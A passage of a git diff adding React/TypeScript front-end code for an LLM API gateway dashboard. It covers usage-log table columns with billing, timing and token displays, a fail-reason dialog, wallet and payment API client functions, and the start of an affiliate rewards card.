+} from '@/lib/format'
+import { cn } from '@/lib/utils'
+import { Avatar, AvatarFallback } from '@/components/ui/avatar'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipProvider,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+import { DataTableColumnHeader } from '@/components/data-table'
+import {
+  StatusBadge,
+  type StatusBadgeProps,
+} from '@/components/status-badge'
+import type { UsageLog } from '../../data/schema'
+import {
+  formatModelName,
+  getFirstResponseTimeColor,
+  getResponseTimeColor,
+  getTieredBillingSummary,
+  hasAnyCacheTokens,
+  parseLogOther,
+  isViolationFeeLog,
+} from '../../lib/format'
+import { getLogAvatarStyle } from '../../lib/avatar-color'
+import {
+  isDisplayableLogType,
+  isTimingLogType,
+  getLogTypeConfig,
+  isPerCallBilling,
+} from '../../lib/utils'
+import type { LogOtherData } from '../../types'
+import { DetailsDialog } from '../dialogs/details-dialog'
+import { ModelBadge } from '../model-badge'
+import { useUsageLogsContext } from '../usage-logs-provider'
+
+interface DetailSegment {
+  text: string
+  muted?: boolean
+  danger?: boolean
+}
+
+function formatRatioCompact(ratio: number | undefined): string {
+  if (ratio == null || !Number.isFinite(ratio)) return '-'
+  return ratio % 1 === 0
+    ? String(ratio)
+    : ratio.toFixed(4).replace(/\.?0+$/, '')
+}
+
+function getGroupRatioText(other: LogOtherData | null): string | null {
+  const userGroupRatio = other?.user_group_ratio
+  if (
+    userGroupRatio != null &&
+    userGroupRatio !== -1 &&
+    Number.isFinite(userGroupRatio)
+  ) {
+    return `${formatRatioCompact(userGroupRatio)}x`
+  }
+
+  const groupRatio = other?.group_ratio
+  if (groupRatio != null && groupRatio !== 1 && Number.isFinite(groupRatio)) {
+    return `${formatRatioCompact(groupRatio)}x`
+  }
+
+  return null
+}
+
+function buildDetailSegments(
+  log: UsageLog,
+  other: LogOtherData | null,
+  t: (key: string, opts?: Record<string, unknown>) => string
+): DetailSegment[] {
+  if (log.type === 6) {
+    return [{ text: t('Async task refund') }]
+  }
+
+  if (log.type !== 2) return []
+
+  const isViolation = isViolationFeeLog(other)
+  if (isViolation) {
+    const segments: DetailSegment[] = []
+    segments.push({ text: t('Violation Fee'), danger: true })
+    if (other?.violation_fee_code) {
+      segments.push({
+        text: other.violation_fee_code,
+        muted: true,
+      })
+    }
+    segments.push({
+      text: `${t('Fee')}: ${formatLogQuota(other?.fee_quota ?? log.quota)}`,
+      muted: true,
+    })
+    return segments
+  }
+
+  if (!other) return []
+
+  const segments: DetailSegment[] = []
+
+  const priceOpts = { digitsLarge: 4, digitsSmall: 6, abbreviate: false }
+  const formatPrice = (price: number) =>
+    `${formatBillingCurrencyFromUSD(price, priceOpts)}/M`
+  const formatPriceCompact = (price: number) =>
+    formatBillingCurrencyFromUSD(price, priceOpts)
+  const formatPriceList = (prices: string[], showUnit: boolean) => {
+    const text = prices.join(' / ')
+    return showUnit ? `${text}/M` : text
+  }
+  const tieredSummary = getTieredBillingSummary(other)
+  if (tieredSummary) {
+    const baseEntries = tieredSummary.priceEntries
+      .filter((entry) => ['inputPrice', 'outputPrice'].includes(entry.field))
+      .map((entry) => formatPriceCompact(entry.price))
+    if (baseEntries.length > 0) {
+      const tierLabel = tieredSummary.tier.label || t('Default')
+      segments.push({
+        text: `${tierLabel} · ${formatPriceList(baseEntries, true)}`,
+      })
+    }
+
+    const cacheEntries = tieredSummary.priceEntries
+      .filter((entry) =>
+        [
+          'cacheReadPrice',
+          'cacheCreatePrice',
+          'cacheCreate1hPrice',
+        ].includes(entry.field)
+      )
+      .map((entry) => {
+        return formatPriceCompact(entry.price)
+      })
+    if (cacheEntries.length > 0) {
+      segments.push({
+        text: `${t('Cache')} ${formatPriceList(cacheEntries, false)}`,
+        muted: true,
+      })
+    }
+
+    const otherEntries = tieredSummary.priceEntries
+      .filter(
+        (entry) =>
+          ![
+            'inputPrice',
+            'outputPrice',
+            'cacheReadPrice',
+            'cacheCreatePrice',
+            'cacheCreate1hPrice',
+          ].includes(entry.field)
+      )
+      .map((entry) => `${t(entry.shortLabel)} ${formatPrice(entry.price)}`)
+    if (otherEntries.length > 0) {
+      segments.push({
+        text: otherEntries.join(' · '),
+        muted: true,
+      })
+    }
+  } else {
+    const isPerCall = isPerCallBilling(other.model_price)
+    if (isPerCall) {
+      segments.push({
+        text: `${t('Per-call')} · ${formatBillingCurrencyFromUSD(other.model_price!, priceOpts)}`,
+      })
+    } else if (other.model_ratio != null) {
+      const inputPriceUSD = other.model_ratio * 2.0
+      const baseEntries = [formatPriceCompact(inputPriceUSD)]
+      if (other.completion_ratio != null) {
+        baseEntries.push(
+          formatPriceCompact(inputPriceUSD * other.completion_ratio)
+        )
+      }
+      segments.push({
+        text: `${t('Standard')} · ${formatPriceList(baseEntries, true)}`,
+      })
+
+      if (hasAnyCacheTokens(other)) {
+        const cacheEntries = [
+          other.cache_ratio != null && other.cache_ratio !== 1
+            ? formatPriceCompact(inputPriceUSD * other.cache_ratio)
+            : null,
+          other.cache_creation_ratio != null &&
+          other.cache_creation_ratio !== 1
+            ? formatPriceCompact(inputPriceUSD * other.cache_creation_ratio)
+            : null,
+          other.cache_creation_ratio_1h != null &&
+          other.cache_creation_ratio_1h !== 0
+            ? formatPriceCompact(inputPriceUSD * other.cache_creation_ratio_1h)
+            : null,
+        ].filter(Boolean) as string[]
+
+        if (cacheEntries.length > 0) {
+          segments.push({
+            text: `${t('Cache')} ${formatPriceList(cacheEntries, false)}`,
+            muted: true,
+          })
+        }
+      }
+    } else {
+      const userGroupRatio = other.user_group_ratio
+      const groupRatio = other.group_ratio
+      const isUserGroup =
+        userGroupRatio != null &&
+        Number.isFinite(userGroupRatio) &&
+        userGroupRatio !== -1
+      const effectiveRatio = isUserGroup ? userGroupRatio : groupRatio
+      const ratioLabel = isUserGroup
+        ? t('User Exclusive Ratio')
+        : t('Group Ratio')
+
+      if (effectiveRatio != null && Number.isFinite(effectiveRatio)) {
+        segments.push({
+          text: `${ratioLabel} ${formatRatioCompact(effectiveRatio)}x`,
+        })
+      }
+    }
+  }
+
+  if (other.is_system_prompt_overwritten) {
+    segments.push({
+      text: t('System Prompt Override'),
+      danger: true,
+    })
+  }
+
+  return segments
+}
+
+export function useCommonLogsColumns(isAdmin: boolean): ColumnDef<UsageLog>[] {
+  const { t } = useTranslation()
+  const columns: ColumnDef<UsageLog>[] = [
+    {
+      accessorKey: 'created_at',
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Time')} />
+      ),
+      cell: ({ row }) => {
+        const log = row.original
+        const timestamp = row.getValue('created_at') as number
+        const config = getLogTypeConfig(log.type)
+
+        return (
+          <div className='flex flex-col gap-0.5'>
+            <span className='font-mono text-xs tabular-nums'>
+              {formatTimestampToDate(timestamp)}
+            </span>
+            <StatusBadge
+              label={t(config.label)}
+              variant={config.color as StatusBadgeProps['variant']}
+              size='sm'
+              copyable={false}
+            />
+          </div>
+        )
+      },
+      filterFn: (row, _id, value) => {
+        if (!value || value.length === 0) return true
+        return value.includes(String(row.original.type))
+      },
+      enableHiding: false,
+      meta: { label: t('Time') },
+    },
+  ]
+
+  if (isAdmin) {
+    columns.push(
+      {
+        id: 'channel',
+        header: ({ column }) => (
+          <DataTableColumnHeader column={column} title={t('Channel')} />
+        ),
+        cell: function ChannelCell({ row }) {
+          const {
+            sensitiveVisible,
+            setAffinityTarget,
+            setAffinityDialogOpen,
+          } = useUsageLogsContext()
+          const log = row.original
+
+          if (!isDisplayableLogType(log.type)) return null
+
+          const other = parseLogOther(log.other)
+          const affinity = other?.admin_info?.channel_affinity
+          const useChannel = other?.admin_info?.use_channel
+          const channelChain =
+            useChannel && useChannel.length > 0
+              ? useChannel.join(' → ')
+              : undefined
+          const channelDisplay = log.channel_name
+            ? `${log.channel_name} #${log.channel}`
+            : `#${log.channel}`
+          const channelIdDisplay = `#${log.channel}`
+          const channelName = sensitiveVisible ? log.channel_name : '••••'
+
+          return (
+            <TooltipProvider>
+              <Tooltip>
+                <TooltipTrigger asChild>
+                  <div className='flex max-w-[160px] flex-col gap-0.5'>
+                    <div className='relative inline-flex w-fit'>
+                      <StatusBadge
+                        label={channelIdDisplay}
+                        autoColor={String(log.channel)}
+                        copyText={String(log.channel)}
+                        size='sm'
+                        className='font-mono'
+                      />
+                      {affinity && (
+                        <button
+                          type='button'
+                          className='absolute -top-1 -right-1 leading-none text-amber-500'
+                          onClick={(e) => {
+                            e.stopPropagation()
+                            setAffinityTarget({
+                              rule_name: affinity.rule_name || '',
+                              using_group:
+                                affinity.using_group ||
+                                affinity.selected_group ||
+                                '',
+                              key_hint: affinity.key_hint || '',
+                              key_fp: affinity.key_fp || '',
+                            })
+                            setAffinityDialogOpen(true)
+                          }}
+                        >
+                          <Sparkles className='size-3 fill-current' />
+                        </button>
+                      )}
+                    </div>
+                    {log.channel_name && (
+                      <span className='text-muted-foreground/70 truncate text-[11px]'>
+                        {channelName}
+                      </span>
+                    )}
+                  </div>
+                </TooltipTrigger>
+                <TooltipContent>
+                  <div className='space-y-1'>
+                    <p>{sensitiveVisible ? channelDisplay : channelIdDisplay}</p>
+                    {channelChain && (
+                      <p className='text-muted-foreground text-xs'>
+                        {t('Chain')}: {channelChain}
+                      </p>
+                    )}
+                    {affinity && (
+                      <div className='border-t pt-1 text-xs'>
+                        <p className='font-medium'>{t('Channel Affinity')}</p>
+                        <p>
+                          {t('Rule')}: {affinity.rule_name || '-'}
+                        </p>
+                        <p>
+                          {t('Group')}:{' '}
+                          {sensitiveVisible
+                            ? affinity.using_group ||
+                              affinity.selected_group ||
+                              '-'
+                            : '••••'}
+                        </p>
+                      </div>
+                    )}
+                  </div>
+                </TooltipContent>
+              </Tooltip>
+            </TooltipProvider>
+          )
+        },
+        meta: { label: t('Channel'), mobileHidden: true },
+      },
+      {
+        id: 'user',
+        header: ({ column }) => (
+          <DataTableColumnHeader column={column} title={t('User')} />
+        ),
+        cell: function UserCell({ row }) {
+          const {
+            sensitiveVisible,
+            setSelectedUserId,
+            setUserInfoDialogOpen,
+          } = useUsageLogsContext()
+          const log = row.original
+
+          if (!log.username) return null
+
+          return (
+            <button
+              type='button'
+              className='flex items-center gap-1.5 text-left'
+              onClick={(e) => {
+                e.stopPropagation()
+                setSelectedUserId(log.user_id)
+                setUserInfoDialogOpen(true)
+              }}
+            >
+              <Avatar className='size-6 ring-1 ring-border/60'>
+                <AvatarFallback
+                  className={cn(
+                    'text-[11px] font-semibold',
+                    !sensitiveVisible && 'bg-muted text-muted-foreground'
+                  )}
+                  style={
+                    sensitiveVisible
+                      ? getLogAvatarStyle(log.username)
+                      : undefined
+                  }
+                >
+                  {sensitiveVisible
+                    ? log.username.charAt(0).toUpperCase()
+                    : '•'}
+                </AvatarFallback>
+              </Avatar>
+              <span className='text-muted-foreground truncate text-sm hover:underline'>
+                {sensitiveVisible ? log.username : '••••'}
+              </span>
+            </button>
+          )
+        },
+        meta: { label: t('User'), mobileHidden: true },
+      }
+    )
+  }
+
+  columns.push({
+    accessorKey: 'token_name',
+    header: ({ column }) => (
+      <DataTableColumnHeader column={column} title={t('Token')} />
+    ),
+    cell: function TokenNameCell({ row }) {
+      const { sensitiveVisible } = useUsageLogsContext()
+      const log = row.original
+      if (!isDisplayableLogType(log.type)) return null
+
+      const tokenName = log.token_name
+      if (!tokenName) return null
+
+      const other = parseLogOther(log.other)
+      const displayName = sensitiveVisible ? tokenName : '••••'
+      let group = log.group
+      if (!group) group = other?.group || ''
+
+      const metaParts: string[] = []
+      const groupRatioText = getGroupRatioText(other)
+      if (group) {
+        metaParts.push(sensitiveVisible ? group : '••••')
+      }
+      if (groupRatioText) metaParts.push(groupRatioText)
+
+      return (
+        <div className='flex max-w-[150px] flex-col gap-0.5'>
+          <StatusBadge
+            label={displayName}
+            icon={KeyRound}
+            copyText={sensitiveVisible ? tokenName : undefined}
+            size='sm'
+            showDot={false}
+            className='max-w-full overflow-hidden rounded-md border border-border/60 bg-muted/30 px-1.5 py-0.5 font-mono text-foreground'
+          />
+          {metaParts.length > 0 && (
+            <span className='text-muted-foreground/60 truncate text-[11px]'>
+              {metaParts.join(' · ')}
+            </span>
+          )}
+        </div>
+      )
+    },
+    meta: { label: t('Token') },
+    size: 130,
+  })
+
+  columns.push(
+    {
+      accessorKey: 'model_name',
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Model')} />
+      ),
+      cell: function ModelCell({ row }) {
+        const log = row.original
+        if (!isDisplayableLogType(log.type)) return null
+
+        const modelInfo = formatModelName(log)
+
+        return (
+          <div className='flex max-w-[220px] flex-col gap-0.5'>
+            <ModelBadge
+              modelName={modelInfo.name}
+              actualModel={modelInfo.actualModel}
+            />
+          </div>
+        )
+      },
+      meta: { label: t('Model'), mobileTitle: true },
+    },
+
+    {
+      accessorKey: 'use_time',
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Timing')} />
+      ),
+      cell: ({ row }) => {
+        const log = row.original
+        if (!isTimingLogType(log.type)) return null
+
+        const useTime = row.getValue('use_time') as number
+        const other = parseLogOther(log.other)
+        const frt = other?.frt
+        const tokensPerSecond =
+          useTime > 0 && log.completion_tokens > 0
+            ? log.completion_tokens / useTime
+            : null
+        const timeVariant = getResponseTimeColor(
+          useTime,
+          log.completion_tokens
+        )
+        const frtVariant = frt ? getFirstResponseTimeColor(frt / 1000) : null
+
+        const pillBg: Record<string, string> = {
+          success:
+            'border border-emerald-200/40 bg-emerald-50/35 dark:border-emerald-900/40 dark:bg-emerald-950/15',
+          warning:
+            'border border-amber-200/45 bg-amber-50/35 dark:border-amber-900/40 dark:bg-amber-950/15',
+          danger:
+            'border border-rose-200/50 bg-rose-50/35 dark:border-rose-900/40 dark:bg-rose-950/15',
+        }
+        const pillText: Record<string, string> = {
+          success: 'text-emerald-700/85 dark:text-emerald-400/85',
+          warning: 'text-amber-700/85 dark:text-amber-400/85',
+          danger: 'text-rose-700/85 dark:text-rose-400/85',
+        }
+        const pillDot: Record<string, string> = {
+          success: 'bg-emerald-500/80',
+          warning: 'bg-amber-500/80',
+          danger: 'bg-rose-500/80',
+        }
+
+        return (
+          <div className='flex flex-col gap-1'>
+            <div className='flex items-center gap-1.5'>
+              <span
+                className={cn(
+                  'inline-flex items-center gap-1 rounded-md px-1.5 py-0.5 font-mono text-xs font-medium',
+                  pillBg[timeVariant],
+                  pillText[timeVariant]
+                )}
+              >
+                <span
+                  className={cn(
+                    'size-1.5 shrink-0 rounded-full',
+                    pillDot[timeVariant]
+                  )}
+                  aria-hidden='true'
+                />
+                {formatUseTime(useTime)}
+              </span>
+              {log.is_stream && (frt != null && frt > 0 ? (
+                <span
+                  className={cn(
+                    'inline-flex items-center rounded-md px-1.5 py-0.5 font-mono text-xs font-medium',
+                    pillBg[frtVariant!],
+                    pillText[frtVariant!]
+                  )}
+                >
+                  {formatUseTime(frt / 1000)}
+                </span>
+              ) : (
+                <span className='inline-flex items-center rounded-md border border-border/60 px-1.5 py-0.5 text-[11px] text-muted-foreground/50'>
+                  N/A
+                </span>
+              ))}
+            </div>
+            <div className='flex items-center gap-1 text-[11px]'>
+              <span className='text-muted-foreground/60'>
+                {log.is_stream ? t('Stream') : t('Non-stream')}
+                {tokensPerSecond != null && (
+                  <>
+                    {' · '}
+                    <span className='font-mono tabular-nums'>
+                      {Math.round(tokensPerSecond)}
+                    </span>
+                    {' t/s'}
+                  </>
+                )}
+              </span>
+              {log.is_stream &&
+                other?.stream_status &&
+                other.stream_status.status !== 'ok' && (
+                  <TooltipProvider>
+                    <Tooltip>
+                      <TooltipTrigger asChild>
+                        <CircleAlert className='size-3 text-red-500' />
+                      </TooltipTrigger>
+                      <TooltipContent>
+                        <div className='space-y-0.5 text-xs'>
+                          <p>
+                            {t('Stream Status')}: {t('Error')}
+                          </p>
+                          <p>{other.stream_status.end_reason || 'unknown'}</p>
+                          {(other.stream_status.error_count ?? 0) > 0 && (
+                            <p>
+                              {t('Soft Errors')}:{' '}
+                              {other.stream_status.error_count}
+                            </p>
+                          )}
+                        </div>
+                      </TooltipContent>
+                    </Tooltip>
+                  </TooltipProvider>
+                )}
+            </div>
+          </div>
+        )
+      },
+      meta: { label: t('Timing'), mobileHidden: true },
+    },
+
+    {
+      accessorKey: 'prompt_tokens',
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title='Tokens' />
+      ),
+      cell: ({ row }) => {
+        const log = row.original
+        if (!isDisplayableLogType(log.type)) return null
+
+        const other = parseLogOther(log.other)
+
+        const promptTokens = log.prompt_tokens || 0
+        const completionTokens = log.completion_tokens || 0
+        if (promptTokens === 0 && completionTokens === 0) {
+          return <span className='text-muted-foreground text-xs'>-</span>
+        }
+
+        const cacheReadTokens = other?.cache_tokens || 0
+        const cacheWrite5m = other?.cache_creation_tokens_5m || 0
+        const cacheWrite1h = other?.cache_creation_tokens_1h || 0
+        const hasSplitCache = cacheWrite5m > 0 || cacheWrite1h > 0
+        const cacheWriteTokens = hasSplitCache
+          ? cacheWrite5m + cacheWrite1h
+          : other?.cache_creation_tokens || 0
+
+        return (
+          <div className='flex flex-col gap-0.5'>
+            <span className='font-mono text-xs font-medium tabular-nums'>
+              {promptTokens.toLocaleString()} / {completionTokens.toLocaleString()}
+            </span>
+            {(cacheReadTokens > 0 || cacheWriteTokens > 0) && (
+              <div className='flex items-center gap-1 text-[11px]'>
+                {cacheReadTokens > 0 && (
+                  <span className='text-muted-foreground/60'>
+                    {t('Cache')}↓ {cacheReadTokens.toLocaleString()}
+                  </span>
+                )}
+                {cacheWriteTokens > 0 && (
+                  <span className='text-muted-foreground/60'>
+                    ↑ {cacheWriteTokens.toLocaleString()}
+                  </span>
+                )}
+              </div>
+            )}
+          </div>
+        )
+      },
+      meta: { label: 'Tokens', mobileHidden: true },
+    },
+
+    {
+      accessorKey: 'quota',
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Cost')} />
+      ),
+      cell: ({ row }) => {
+        const log = row.original
+        if (!isDisplayableLogType(log.type)) return null
+
+        const quota = row.getValue('quota') as number
+        const other = parseLogOther(log.other)
+        const isSubscription = other?.billing_source === 'subscription'
+
+        if (isSubscription) {
+          return (
+            <TooltipProvider>
+              <Tooltip>
+                <TooltipTrigger asChild>
+                  <span className='inline-flex items-center gap-1 rounded-md border border-emerald-200 bg-emerald-50 px-1.5 py-0.5 text-xs font-medium text-emerald-700 dark:border-emerald-800 dark:bg-emerald-950/40 dark:text-emerald-300'>
+                    <span className='size-1.5 rounded-full bg-emerald-500' aria-hidden='true' />
+                    {t('Subscription')}
+                  </span>
+                </TooltipTrigger>
+                <TooltipContent>
+                  <span>
+                    {t('Deducted by subscription')}: {formatLogQuota(quota)}
+                  </span>
+                </TooltipContent>
+              </Tooltip>
+            </TooltipProvider>
+          )
+        }
+
+        const quotaStr = formatLogQuota(quota)
+
+        return (
+          <div className='flex flex-col gap-0.5'>
+            <span className='border-border/80 inline-flex w-fit items-center rounded-md border bg-muted/60 px-1.5 py-0.5 font-mono text-xs font-semibold tabular-nums'>
+              {quotaStr}
+            </span>
+          </div>
+        )
+      },
+      meta: { label: t('Cost') },
+    },
+
+    {
+      accessorKey: 'content',
+      header: t('Details'),
+      cell: function DetailsCell({ row }) {
+        const [dialogOpen, setDialogOpen] = useState(false)
+        const log = row.original
+        const other = parseLogOther(log.other)
+
+        const segments = buildDetailSegments(log, other, t)
+        const primary = segments[0]
+        const hasMore = segments.length > 1
+
+        return (
+          <>
+            <button
+              type='button'
+              className='group flex max-w-[200px] items-center gap-1 text-left text-xs'
+              onClick={() => setDialogOpen(true)}
+              title={t('Click to view full details')}
+            >
+              {primary ? (
+                <span
+                  className={cn(
+                    'truncate leading-snug group-hover:underline',
+                    primary.muted
+                      ? 'text-muted-foreground/60'
+                      : primary.danger
+                        ? 'text-red-600 dark:text-red-400'
+                        : 'text-foreground'
+                  )}
+                >
+                  {primary.text}
+                  {hasMore && (
+                    <span className='text-muted-foreground/40 ml-0.5'>
+                      +{segments.length - 1}
+                    </span>
+                  )}
+                </span>
+              ) : log.content ? (
+                <span className='text-muted-foreground truncate group-hover:underline'>
+                  {log.content}
+                </span>
+              ) : (
+                <span className='text-muted-foreground/40'>—</span>
+              )}
+            </button>
+            <DetailsDialog
+              log={log}
+              isAdmin={isAdmin}
+              open={dialogOpen}
+              onOpenChange={setDialogOpen}
+            />
+          </>
+        )
+      },
+      meta: { label: t('Details'), mobileHidden: true },
+      size: 180,
+      maxSize: 200,
+    }
+  )
+
+  return columns
+}
diff --git a/new-api/web/default/src/features/usage-logs/components/dialogs/fail-reason-dialog.tsx b/new-api/web/default/src/features/usage-logs/components/dialogs/fail-reason-dialog.tsx
new file mode 100644
index 0000000..b25525f
--- /dev/null
+++ b/new-api/web/default/src/features/usage-logs/components/dialogs/fail-reason-dialog.tsx
@@ -0,0 +1,69 @@
+import { Copy, Check } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Label } from '@/components/ui/label'
+import { ScrollArea } from '@/components/ui/scroll-area'
+
+interface FailReasonDialogProps {
+  failReason: string
+  open: boolean
+  onOpenChange: (open: boolean) => void
+}
+
+export function FailReasonDialog({
+  failReason,
+  open,
+  onOpenChange,
+}: FailReasonDialogProps) {
+  const { t } = useTranslation()
+  const { copiedText, copyToClipboard } = useCopyToClipboard({ notify: false })
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent className='sm:max-w-lg'>
+        <DialogHeader>
+          <DialogTitle>{t('Fail Reason Details')}</DialogTitle>
+          <DialogDescription>
+            {t('View the complete error message and details')}
+          </DialogDescription>
+        </DialogHeader>
+
+        <ScrollArea className='max-h-[500px] pr-4'>
+          <div className='space-y-4 py-4'>
+            <div className='space-y-2'>
+              <Label className='text-sm font-semibold'>
+                {t('Error Message')}
+              </Label>
+              <div className='bg-muted/50 relative rounded-md border border-red-200 p-3'>
+                <Button
+                  variant='ghost'
+                  size='sm'
+                  className='absolute top-2 right-2 h-8 w-8 p-0'
+                  onClick={() => copyToClipboard(failReason)}
+                  title={t('Copy to clipboard')}
+                >
+                  {copiedText === failReason ? (
+                    <Check className='size-4 text-green-600' />
+                  ) : (
+                    <Copy className='size-4' />
+                  )}
+                </Button>
+                <p className='overflow-wrap-anywhere pr-10 text-sm leading-relaxed break-all whitespace-pre-wrap text-red-600'>
+                  {failReason || '-'}
+                </p>
+              </div>
+            </div>
+          </div>
+        </ScrollArea>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/wallet/api.ts b/new-api/web/default/src/features/wallet/api.ts
new file mode 100644
index 0000000..fa08320
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/api.ts
@@ -0,0 +1,217 @@
+import { api } from '@/lib/api'
+import type {
+  RedemptionRequest,
+  PaymentRequest,
+  AmountRequest,
+  AffiliateTransferRequest,
+  ApiResponse,
+  TopupInfoResponse,
+  RedemptionResponse,
+  AmountResponse,
+  PaymentResponse,
+  StripePaymentResponse,
+  AffiliateCodeResponse,
+  AffiliateTransferResponse,
+  BillingHistoryResponse,
+  CompleteOrderRequest,
+  CreemPaymentRequest,
+  CreemPaymentResponse,
+  WaffoPaymentRequest,
+  WaffoPaymentResponse,
+  WaffoPancakePaymentRequest,
+  WaffoPancakePaymentResponse,
+} from './types'
+
+// ============================================================================
+// Wallet API Functions
+// ============================================================================
+
+/**
+ * Check if API response is successful
+ */
+export function isApiSuccess(response: ApiResponse): boolean {
+  return response.success === true || response.message === 'success'
+}
+
+/**
+ * Get topup configuration info
+ */
+export async function getTopupInfo(): Promise<TopupInfoResponse> {
+  const res = await api.get('/api/user/topup/info')
+  return res.data
+}
+
+/**
+ * Redeem a topup code
+ */
+export async function redeemTopupCode(
+  request: RedemptionRequest
+): Promise<RedemptionResponse> {
+  const res = await api.post('/api/user/topup', request)
+  return res.data
+}
+
+/**
+ * Calculate payment amount for regular payment
+ */
+export async function calculateAmount(
+  request: AmountRequest
+): Promise<AmountResponse> {
+  const res = await api.post('/api/user/amount', request, {
+    skipBusinessError: true,
+  } as Record<string, unknown>)
+  return res.data
+}
+
+/**
+ * Calculate payment amount for Stripe payment
+ */
+export async function calculateStripeAmount(
+  request: AmountRequest
+): Promise<AmountResponse> {
+  const res = await api.post('/api/user/stripe/amount', request, {
+    skipBusinessError: true,
+  } as Record<string, unknown>)
+  return res.data
+}
+
+/**
+ * Request regular payment
+ */
+export async function requestPayment(
+  request: PaymentRequest
+): Promise<PaymentResponse> {
+  const res = await api.post('/api/user/pay', request, {
+    skipBusinessError: true,
+  } as Record<string, unknown>)
+  return {
+    ...res.data,
+    url: res.data.url || (res as unknown as { url?: string }).url,
+  }
+}
+
+/**
+ * Request Stripe payment
+ */
+export async function requestStripePayment(
+  request: PaymentRequest
+): Promise<StripePaymentResponse> {
+  const res = await api.post('/api/user/stripe/pay', request, {
+    skipBusinessError: true,
+  } as Record<string, unknown>)
+  return res.data
+}
+
+/**
+ * Request Creem payment
+ */
+export async function requestCreemPayment(
+  request: CreemPaymentRequest
+): Promise<CreemPaymentResponse> {
+  const res = await api.post('/api/user/creem/pay', request, {
+    skipBusinessError: true,
+  } as Record<string, unknown>)
+  return res.data
+}
+
+/**
+ * Request Waffo payment
+ */
+export async function requestWaffoPayment(
+  request: WaffoPaymentRequest
+): Promise<WaffoPaymentResponse> {
+  const res = await api.post('/api/user/waffo/pay', request, {
+    skipBusinessError: true,
+  } as Record<string, unknown>)
+  return res.data
+}
+
+/**
+ * Calculate payment amount for Waffo Pancake payment
+ */
+export async function calculateWaffoPancakeAmount(
+  request: AmountRequest
+): Promise<AmountResponse> {
+  const res = await api.post('/api/user/waffo-pancake/amount', request, {
+    skipBusinessError: true,
+  } as Record<string, unknown>)
+  return res.data
+}
+
+/**
+ * Request Waffo Pancake payment
+ */
+export async function requestWaffoPancakePayment(
+  request: WaffoPancakePaymentRequest
+): Promise<WaffoPancakePaymentResponse> {
+  const res = await api.post('/api/user/waffo-pancake/pay', request, {
+    skipBusinessError: true,
+  } as Record<string, unknown>)
+  return res.data
+}
+
+/**
+ * Get affiliate code
+ */
+export async function getAffiliateCode(): Promise<AffiliateCodeResponse> {
+  const res = await api.get('/api/user/aff')
+  return res.data
+}
+
+/**
+ * Transfer affiliate quota to balance
+ */
+export async function transferAffiliateQuota(
+  request: AffiliateTransferRequest
+): Promise<AffiliateTransferResponse> {
+  const res = await api.post('/api/user/aff_transfer', request)
+  return res.data
+}
+
+/**
+ * Get billing history for current user
+ */
+export async function getUserBillingHistory(
+  page: number,
+  pageSize: number,
+  keyword?: string
+): Promise<ApiResponse<BillingHistoryResponse>> {
+  const params = new URLSearchParams({
+    p: page.toString(),
+    page_size: pageSize.toString(),
+  })
+  if (keyword) {
+    params.append('keyword', keyword)
+  }
+  const res = await api.get(`/api/user/topup/self?${params.toString()}`)
+  return res.data
+}
+
+/**
+ * Get billing history for all users (admin only)
+ */
+export async function getAllBillingHistory(
+  page: number,
+  pageSize: number,
+  keyword?: string
+): Promise<ApiResponse<BillingHistoryResponse>> {
+  const params = new URLSearchParams({
+    p: page.toString(),
+    page_size: pageSize.toString(),
+  })
+  if (keyword) {
+    params.append('keyword', keyword)
+  }
+  const res = await api.get(`/api/user/topup?${params.toString()}`)
+  return res.data
+}
+
+/**
+ * Complete a pending order (admin only)
+ */
+export async function completeOrder(
+  request: CompleteOrderRequest
+): Promise<ApiResponse> {
+  const res = await api.post('/api/user/topup/complete', request)
+  return res.data
+}
diff --git a/new-api/web/default/src/features/wallet/components/affiliate-rewards-card.tsx b/new-api/web/default/src/features/wallet/components/affiliate-rewards-card.tsx
new file mode 100644
index 0000000..c12dabe
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/components/affiliate-rewards-card.tsx
@@ -0,0 +1,156 @@
+import { Share2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { formatQuota } from '@/lib/format'
+import { Button } from '@/components/ui/button'
+import {
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+} from '@/components/ui/card'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { Skeleton } from '@/components/ui/skeleton'
+import { CopyButton } from '@/components/copy-button'
+import type { UserWalletData } from '../types'
+
+interface AffiliateRewardsCardProps {
+  user: UserWalletData | null
+  affiliateLink: string
+  onTransfer: () => void
+  loading?: boolean
+}
+
+export function AffiliateRewardsCard({
+  user,
+  affiliateLink,
+  onTransfer,
+  loading,
+}: AffiliateRewardsCardProps) {
+  const { t } = useTranslation()
+  if (loading) {
+    return (
+      <Card className='overflow-hidden'>
+        <CardHeader className='border-b'>
+          <Skeleton className='h-6 w-32' />
+          <Skeleton className='mt-2 h-4 w-48' />
+        </CardHeader>
+        <CardContent className='space-y-6 pt-6'>
+          {/* Statistics Skeleton */}
+          <div className='grid grid-cols-1 gap-3'>
+            {Array.from({ length: 3 }).map((_, i) => (
+              <div key={i} className='rounded-lg border p-3'>
+                <Skeleton className='h-3 w-16' />
+                <Skeleton className='mt-2 h-8 w-24' />
+              </div>
+            ))}
+          </div>
+
+          {/* Affiliate Link Skeleton */}
+          <div className='space-y-3'>
+            <Skeleton className='h-3 w-32' />
+            <div className='flex gap-2'>
+              <Skeleton className='h-10 flex-1' />
+              <Skeleton className='size-9' />
+            </div>
+          </div>
+
+          {/* Info Section Skeleton */}
+          <Skeleton className='h-20 w-full rounded-lg' />
+        </CardContent>
+      </Card>
+    )
+  }
+
+  const hasRewards = (user?.aff_quota ?? 0) > 0
+
